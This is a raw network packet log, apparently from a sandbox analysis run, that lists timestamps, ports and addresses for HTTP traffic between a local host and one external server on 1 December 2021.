Dec 1, 2021 09:14:20.042820930 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.042834044 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.042845011 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.042857885 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.042871952 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.042884111 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.042898893 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.042912006 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.042922974 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.042937994 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.042956114 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.042972088 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.042982101 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.042989969 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.043005943 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.043019056 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.043034077 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.043050051 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.043070078 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.043071985 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.043097973 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.043108940 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.043122053 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.043134928 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.043148994 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.043173075 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.043175936 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.043196917 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.043198109 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.043214083 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.043224096 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.043237925 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.043247938 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.043265104 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.043273926 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.043288946 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.043298960 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.043323040 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.043339014 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.043346882 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.043366909 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.043373108 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.043397903 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.043399096 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.043418884 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.043425083 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.043437004 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.043448925 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.043462992 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.043474913 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.043488979 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.043502092 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.043525934 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.043529987 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.043551922 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.043551922 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.043570042 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.043576002 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.043592930 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.043600082 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.043615103 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.043625116 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.043637037 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.043651104 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.043668032 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.043673992 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.043692112 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.043709040 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.043731928 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.043749094 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.043756008 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.043778896 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.043780088 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.043806076 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.043807983 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.043827057 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.043842077 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.043850899 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.043867111 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.043890953 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.043906927 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.043916941 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.043936014 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.043941021 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.043963909 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.043986082 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.063704967 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.099675894 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.099750042 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.101094961 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.101145983 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.101176023 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.101187944 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.101197958 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.101233006 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.101274014 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.101313114 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.101352930 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.101391077 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.101433039 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.101461887 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.101475000 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.101516962 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.101557016 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.101561069 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.101598978 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.101639986 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.101640940 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.101680040 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.101725101 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.101763964 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.101766109 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.101808071 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.101861954 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.101864100 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.101902962 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.101907015 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.101952076 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.101991892 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.101994038 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.102040052 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.102082014 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.102082968 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.102128029 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.102173090 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.102215052 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.102216959 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.102260113 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.102299929 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.102303982 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.102349043 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.102386951 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.102394104 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.102437973 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.102437973 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.102480888 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.102521896 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.102525949 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.102569103 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.102607012 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.102612019 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.102654934 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.102695942 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.102736950 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.102740049 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.102787018 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.102828979 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.102828979 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.102869987 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.102876902 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.102921009 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.102963924 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.102967978 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.103009939 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.103049040 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.103053093 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.103106976 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.103152037 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.103152990 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.103182077 CET	80	49796	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.103224993 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.103265047 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.103275061 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.103310108 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.103353977 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.103395939 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.103396893 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.103439093 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.103482962 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.103487968 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.103524923 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.103526115 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.103569031 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.103609085 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.103610992 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.103653908 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.103698969 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.103741884 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.103770018 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.103785992 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.103786945 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.103831053 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.103872061 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.103873014 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.103919029 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.103956938 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.103966951 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.104001999 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.104044914 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.104046106 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.104087114 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.104129076 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.104127884 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.104173899 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.104217052 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.104259014 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.104260921 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.104306936 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.104348898 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.104356050 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.104388952 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.104393005 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.104429007 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.104471922 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.104511976 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.104513884 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.104553938 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.104594946 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.104608059 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.104628086 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.104636908 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.104682922 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.104727983 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.104727983 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.121912956 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.125895977 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.137711048 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.144332886 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.156985998 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.157041073 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.157068968 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.157078028 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.157118082 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.157138109 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.157157898 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.157196999 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.161833048 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.161875010 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.161911964 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.161927938 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.161952972 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.161993980 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.162033081 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.162036896 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.162071943 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.162111044 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.162113905 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.162148952 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.162152052 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.162188053 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.162225962 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.162230015 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.162266016 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.162306070 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.162307978 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.162343979 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.162384033 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.162424088 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.162425995 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.162461996 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.162501097 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.162503004 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.162539005 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.162540913 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.162580013 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.162620068 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.162621021 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.162658930 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.162699938 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.162712097 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.162764072 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.162801027 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.162841082 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.162842989 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.162880898 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.162920952 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.162926912 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.162961006 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.162962914 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.163001060 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.163038969 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.163042068 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.163079023 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.163116932 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.163120031 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.163155079 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.163192987 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.163232088 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.163233042 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.163273096 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.163324118 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.163328886 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.163368940 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.163405895 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.163412094 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.163444042 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.163444996 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.163485050 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.163525105 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.163527012 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.163563013 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.163600922 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.163603067 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.163640022 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.163676977 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.163717985 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.163718939 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.163758993 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.163799047 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.163815975 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.163837910 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.163839102 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.163877964 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.163916111 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.163917065 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.163955927 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.163991928 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.163997889 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.164031029 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.164068937 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.164108992 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.164110899 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.164149046 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.164186954 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.164191961 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.164225101 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.164226055 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.164264917 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.164300919 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.164304018 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.164340019 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.164380074 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.164418936 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.164419889 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.164459944 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.164496899 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.164499998 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.164535999 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.164546013 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.164575100 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.164611101 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.164613008 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.164650917 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.164688110 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.164689064 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.164729118 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.164768934 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.164769888 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.164804935 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.164843082 CET	80	49795	95.213.165.249	192.168.2.4
